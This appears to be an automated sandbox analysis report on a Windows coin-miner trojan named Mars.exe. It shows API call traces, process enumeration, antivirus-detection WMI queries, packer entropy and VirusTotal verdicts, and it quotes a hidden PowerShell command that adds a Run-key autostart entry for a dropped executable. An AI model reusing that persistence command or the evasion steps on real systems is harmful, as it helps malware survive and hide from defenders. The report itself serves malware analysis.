NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91a3a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91a4b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91a7c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91a4d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91a22000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000670000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007feefbc6000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91a3d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b5d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 20480 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b5e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b63000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b64000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91c00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b66000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Roaming\WinServices\DriversService.exe

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (1 event)

cmdline

"powershell.exe" Remove-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'DriverService';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'DriverService' -Value '"C:\Users\test22\AppData\Roaming\WinServices\DriversService.exe"' -PropertyType 'String'

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
CreateProcessInternalW Sept. 10, 2021, 9:06 a.m.	thread_identifier: 2344 thread_handle: 0x0000000000000230 process_identifier: 2492 current_directory: C:\Users\test22\AppData\Local\Temp filepath: track: 1 command_line: "powershell.exe" Remove-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'DriverService';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'DriverService' -Value '"C:\Users\test22\AppData\Roaming\WinServices\DriversService.exe"' -PropertyType 'String' filepath_r: stack_pivoted: 0 creation_flags: 134217728 (CREATE_NO_WINDOW) inherit_handles: 1 process_handle: 0x000000000000023c	1	1	0

Searches running processes potentially to identify processes for sandbox evasion, code injection or memory dumping (37 events)

Time & API	Arguments	Status	Return
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: smss.exe process_identifier: 228	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: csrss.exe process_identifier: 308	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: wininit.exe process_identifier: 348	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: csrss.exe process_identifier: 368	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: winlogon.exe process_identifier: 412	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: services.exe process_identifier: 448	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: lsass.exe process_identifier: 464	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: lsm.exe process_identifier: 472	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: svchost.exe process_identifier: 584	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: svchost.exe process_identifier: 660	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: svchost.exe process_identifier: 736	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: svchost.exe process_identifier: 820	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: svchost.exe process_identifier: 852	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: audiodg.exe process_identifier: 912	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: svchost.exe process_identifier: 1004	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: svchost.exe process_identifier: 312	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: spoolsv.exe process_identifier: 1032	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: svchost.exe process_identifier: 1072	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: taskhost.exe process_identifier: 1140	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: dwm.exe process_identifier: 1204	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: explorer.exe process_identifier: 1236	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: svchost.exe process_identifier: 1432	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: IMEDICTUPDATE.EXE process_identifier: 1476	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: svchost.exe process_identifier: 1844	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: pw.exe process_identifier: 1996	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: SearchIndexer.exe process_identifier: 748	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: taskeng.exe process_identifier: 2932	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: WmiPrvSE.exe process_identifier: 2160	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: svchost.exe process_identifier: 2196	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: pw.exe process_identifier: 2628	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: taskhost.exe process_identifier: 2652	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: sppsvc.exe process_identifier: 2612	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: SearchProtocolHost.exe process_identifier: 2500	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: SearchFilterHost.exe process_identifier: 2020	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: Mars.exe process_identifier: 2232	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: WmiPrvSE.exe process_identifier: 2532	1	1
Process32NextW Sept. 10, 2021, 9:07 a.m.	snapshot_handle: 0x0000000000000518 process_name: WmiApSrv.exe process_identifier: 1632	1	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x006dae00', u'virtual_address': u'0x00002000', u'entropy': 7.996969194537066, u'name': u'.text', u'virtual_size': u'0x006dacc4'}

entropy

7.99696919454

description

A section with a high entropy has been found

entropy

0.974051203774

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Sept. 10, 2021, 9:06 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW Sept. 10, 2021, 9:07 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\DriverService

reg_value

C:\Users\test22\AppData\Roaming\WinServices\DriversService.exe

Executes one or more WMI queries (2 events)

wmi	SELECT * FROM AntiVirusProduct
wmi	select * from Win32_VideoController

The process powershell.exe wrote an executable file to disk (19 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

File has been identified by 41 AntiVirus engines on VirusTotal as malicious (41 events)

Lionic	Trojan.Win32.Generic.4!c
Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.GenericKD.37478873
FireEye	Generic.mg.0c9ccbdb84f67bde
CAT-QuickHeal	Trojan.Generic
McAfee	Artemis!0C9CCBDB84F6
Cylance	Unsafe
K7AntiVirus	Riskware ( 0040eff71 )
Alibaba	Trojan:MSIL/CoinMiner.ef17a420
K7GW	Riskware ( 0040eff71 )
Cybereason	malicious.2fb69b
Symantec	Trojan.Gen.MBT
ESET-NOD32	MSIL/CoinMiner.BNB
APEX	Malicious
Paloalto	generic.ml
Kaspersky	HEUR:Trojan.Win32.Generic
BitDefender	Trojan.GenericKD.37478873
NANO-Antivirus	Trojan.Win64.CoinMiner.jaddol
Avast	Win64:Malware-gen
Tencent	Msil.Trojan.Coinminer.Hzg
Ad-Aware	Trojan.GenericKD.37478873
Sophos	Mal/Generic-S
DrWeb	Trojan.Siggen14.64832
Zillya	Trojan.Generic.Win32.1531557
McAfee-GW-Edition	Artemis!Trojan
Emsisoft	Trojan.GenericKD.37478873 (B)
Ikarus	Trojan.MSIL.CoinMiner
eGambit	Unsafe.AI_Score_100%
Gridinsoft	Malware.Win64.GenericMC.cc
Microsoft	Trojan:Win32/Sehyioa.A!cl
GData	Win32.Application.Coinminer.W9KF68
Cynet	Malicious (score: 100)
AhnLab-V3	Trojan/Win.Generic.C4611112
ALYac	Trojan.GenericKD.37478873
MAX	malware (ai score=84)
VBA32	Trojan.Sabsik.FL
Malwarebytes	Backdoor.Bot
SentinelOne	Static AI - Malicious PE
Fortinet	PossibleThreat.PALLAS.H
AVG	Win64:Malware-gen
Panda	Trj/CI.A

Mars.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All